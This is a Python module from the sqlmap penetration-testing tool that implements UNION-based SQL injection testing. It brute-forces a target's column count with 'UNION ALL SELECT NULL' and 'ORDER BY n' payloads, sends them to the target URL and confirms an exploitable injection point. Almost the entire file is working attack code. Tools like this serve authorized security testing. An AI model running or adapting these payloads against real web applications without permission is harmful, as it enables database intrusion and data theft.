sqlmap/lib/techniques/inband/union/test.py

#!/usr/bin/env python

"""
$Id$

This file is part of the sqlmap project, http://sqlmap.sourceforge.net.

Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>

sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
details.

You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""

from lib.core.agent import agent
from lib.core.common import randomStr
from lib.core.common import safeStringFormat
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request

def __unionPosition(negative=False, falseCond=False):
    if negative or falseCond:
        negLogMsg = "partial (single entry)"
    else:
        negLogMsg = "full"

    infoMsg  = "confirming %s inband sql injection on parameter " % negLogMsg
    infoMsg += "'%s'" % kb.injParameter

    if negative:
        infoMsg += " with negative parameter value"
    elif falseCond:
        infoMsg += " by appending a false condition after the parameter value"

    logger.info(infoMsg)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for exprPosition in range(0, kb.unionCount):
        # Prepare expression with delimiters
        randQuery = randomStr()
        randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query   = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
        payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)

        # We have to assure that the randQuery value is not within the
        # HTML code of the result page because, for instance, it is there
        # when the query is wrong and the back-end DBMS is Microsoft SQL
        # server
        htmlParsed = htmlParser(resultPage)

        if randQuery in resultPage and not htmlParsed:
            setUnion(position=exprPosition)

            break

    if isinstance(kb.unionPosition, int):
        infoMsg  = "the target url is affected by an exploitable "
        infoMsg += "%s inband sql injection vulnerability" % negLogMsg
        logger.info(infoMsg)
    else:
        warnMsg  = "the target url is not affected by an exploitable "
        warnMsg += "%s inband sql injection vulnerability" % negLogMsg

        if negLogMsg == "partial":
            warnMsg += ", sqlmap will retrieve the query output "
            warnMsg += "through blind sql injection technique"

        logger.warn(warnMsg)

def __unionConfirm():
    # Confirm the inband SQL injection and get the exact column
    # position
    if not isinstance(kb.unionPosition, int):
        __unionPosition()

        # Assure that the above function found the exploitable full inband
        # SQL injection position
        if not isinstance(kb.unionPosition, int):
            __unionPosition(falseCond=True)

            # Assure that the above function found the exploitable partial
            # (single entry) inband SQL injection position by appending
            # a false condition after the parameter value
            if not isinstance(kb.unionPosition, int):
                __unionPosition(negative=True)

                # Assure that the above function found the exploitable partial
                # (single entry) inband SQL injection position with negative
                # parameter value
                if not isinstance(kb.unionPosition, int):
                    return
                else:
                    conf.paramNegative = True
            else:
                conf.paramFalseCond = True

def __forgeUserFriendlyValue(payload):
    value = ""

    if kb.injPlace == "GET":
        value = safeStringFormat("%s?%s", (conf.url, payload))
    elif kb.injPlace == "POST":
        value  = "URL:\t'%s'" % conf.url
        value += "\nPOST:\t'%s'\n" % payload
    elif kb.injPlace == "Cookie":
        value  = "URL:\t'%s'" % conf.url
        value += "\nCookie:\t'%s'\n" % payload
    elif kb.injPlace == "User-Agent":
        value  = "URL:\t\t'%s'" % conf.url
        value += "\nUser-Agent:\t'%s'\n" % payload

    return value

def __unionTestByNULLBruteforce(comment):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    columns = None
    value   = None
    query   = agent.prefixQuery(" UNION ALL SELECT NULL")

    for count in range(0, 50):
        if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
            query = query[:-len(" FROM DUAL")]

        if count:
            query += ", NULL"

        if kb.dbms == "Oracle":
            query += " FROM DUAL"

        commentedQuery = agent.postfixQuery(query, comment)
        payload        = agent.payload(newValue=commentedQuery)
        seqMatcher     = Request.queryPage(payload, getSeqMatcher=True)

        if seqMatcher >= 0.6:
            columns = count + 1
            value   = __forgeUserFriendlyValue(payload)

            break

    return value, columns

def __unionTestByOrderBy(comment):
    columns     = None
    value       = None
    prevPayload = ""

    for count in range(1, 51):
        query        = agent.prefixQuery(" ORDER BY %d" % count)
        orderByQuery = agent.postfixQuery(query, comment)
        payload      = agent.payload(newValue=orderByQuery)
        seqMatcher   = Request.queryPage(payload, getSeqMatcher=True)

        if seqMatcher >= 0.6:
            columns = count

        elif columns:
            value = __forgeUserFriendlyValue(prevPayload)

            break

        prevPayload = payload

    return value, columns

def unionTest():
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """

    if conf.uTech == "orderby":
        technique = "ORDER BY clause bruteforcing"
    else:
        technique = "NULL bruteforcing"

    infoMsg  = "testing inband sql injection on parameter "
    infoMsg += safeStringFormat("'%s' with %s technique", (kb.injParameter, technique))
    logger.info(infoMsg)

    value   = ""
    columns = None

    for comment in (queries[kb.dbms].comment, ""):
        if conf.uTech == "orderby":
            value, columns = __unionTestByOrderBy(comment)
        else:
            value, columns = __unionTestByNULLBruteforce(comment)

        if columns:
            setUnion(comment, columns)

            break

    if kb.unionCount:
        __unionConfirm()
    else:
        warnMsg  = "the target url is not affected by an "
        warnMsg += "inband sql injection vulnerability"
        logger.warn(warnMsg)

    return value